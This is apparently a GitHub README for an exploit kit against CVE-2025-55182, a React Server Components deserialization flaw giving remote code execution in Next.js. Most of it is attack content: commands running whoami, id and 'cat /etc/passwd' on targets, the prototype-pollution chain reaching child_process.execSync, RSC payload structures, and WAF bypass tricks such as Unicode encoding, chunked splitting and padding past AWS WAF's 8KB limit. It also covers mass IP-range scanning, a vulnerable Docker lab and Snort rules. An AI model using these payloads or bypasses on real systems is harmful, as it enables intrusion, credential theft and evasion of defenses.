zxz3650/cve-2025-55182-pocCVE-2025-55182-POC
React Server Components (RSC) Unsafe Deserialization 脆弱性エクスプロイトおよび検出ツール集
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - 脆弱な Server Action コードexploit_advanced.py - 複数の攻撃手法をサポート（Basic/Advanced/Chunked/Oversize）rsc_vulnerability_checker_multi.py - マルチターゲット脆弱性診断ツールrules_priority_based - Snort 優先度ベースの検知ルールセットcd vulnerable-app
docker-compose up -d
# http://localhost:3000 접속 확인
# 단일 URL 테스트
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# 여러 URL 배치 스캔
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP 범위 스캔
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# 파일에서 읽기
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# 고급 공격 (프로토타입 체인 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF 우회 - Unicode 인코딩
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF 우회 - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF 우회 - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# 모든 기법 순차 시도
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# 공격 트래픽 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none
直接 RSC Flight ペイロードを送信
# Server Action 직접 호출
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
プロトタイプ汚染（Prototype Pollution）を利用した RCE
// 핵심 원리
{
"then": "$1:__proto__:then", // Chunk.prototype.then 트리거
"_response": { // fake response 주입
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Function 생성자 접근
}
攻撃チェーン:
__proto__ 汚染で Chunk.prototype.then を設定_response オブジェクトの注入で FormData を制御$B ハンドラーが response._formData.get(id) を呼び出しconstructor:constructor チェーンで Function にアクセスprocess.mainModule.require('child_process').execSync(cmd) を実行Transfer-Encoding を使用したパターン分散
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
AWS WAF サイズ制限の回避
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 처음 8KB만 검사
# 실제 공격 코드를 8KB 이후에 배치
process.mainModule.require + child_process + execSync__proto__ + resolved_model + RCE モジュール/etc/passwd、/etc/shadow、.ssh/id_rsa へのアクセスrequests ライブラリ
pip install requests
# 단일 URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# 복수 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP 범위 스캔 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP 범위 스캔 (하이픈)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# 파일 입력/출력
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose 모드
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout
--basic: 直接 RSC Flight ペイロードを送信--advanced: プロトタイプチェーン + thenable 手法--chunked: Transfer-Encoding 分割送信--oversize <size>: Oversize ペイロード（デフォルト: 65536 bytes）--all: すべての手法を順次試行--waf-bypass: Unicode エンコーディング（constructor → \u0063onstructor）--chunked: パターン分散配置--oversize: AWS WAF サイズ制限の回避-v, --verbose: 詳細出力-t, --timeout: リクエストタイムアウト（デフォルト: 10秒）experimental 機能を無効化rules_priority_based）__proto__ キーワードをブロックprocess.mainModule.require パターンをブロック# Snort 실시간 모니터링
snort -c snort.conf -i eth0 -A console
# 로그 파일 분석
snort -c snort.conf -r network.pcap -A fast
本記事は研究・教育・診断検証の目的以外には使用しません。